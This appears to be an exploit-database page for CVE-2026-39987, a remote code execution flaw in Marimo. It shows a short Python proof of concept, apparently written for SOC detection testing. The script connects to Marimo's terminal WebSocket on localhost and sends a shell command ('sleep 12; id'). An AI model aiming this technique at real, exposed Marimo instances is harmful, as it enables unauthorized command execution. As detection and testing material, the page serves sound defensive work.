Exploit databaseDownload repository ZIP
GH-7bf6bd2f77b71bdf3aca506501b3fa9e
laremontada12/cve-2026-39987-marimo-rce-soc-detection
Sources for CVE-2026-39987
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
laremontada12/cve-2026-39987-marimo-rce-soc-detectionRevision 42bac300deef
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
soc-detection/poc_soc.py
Suggested starting filePython · 628 bytes
import time
from websocket import create_connection, WebSocketTimeoutException
URL = "ws://127.0.0.1:8082/terminal/ws"
print("[+] Connecting to vulnerable Marimo...")
ws = create_connection(URL, timeout=2)
try:
print("[+] WebSocket connected")
print("[+] Sending harmless test command...")
ws.send("sleep 12; id\n")
deadline = time.monotonic() + 16
while time.monotonic() < deadline:
try:
response = ws.recv()
print(response, end="", flush=True)
except WebSocketTimeoutException:
continue
finally:
ws.close()
print("\n[+] Test completed")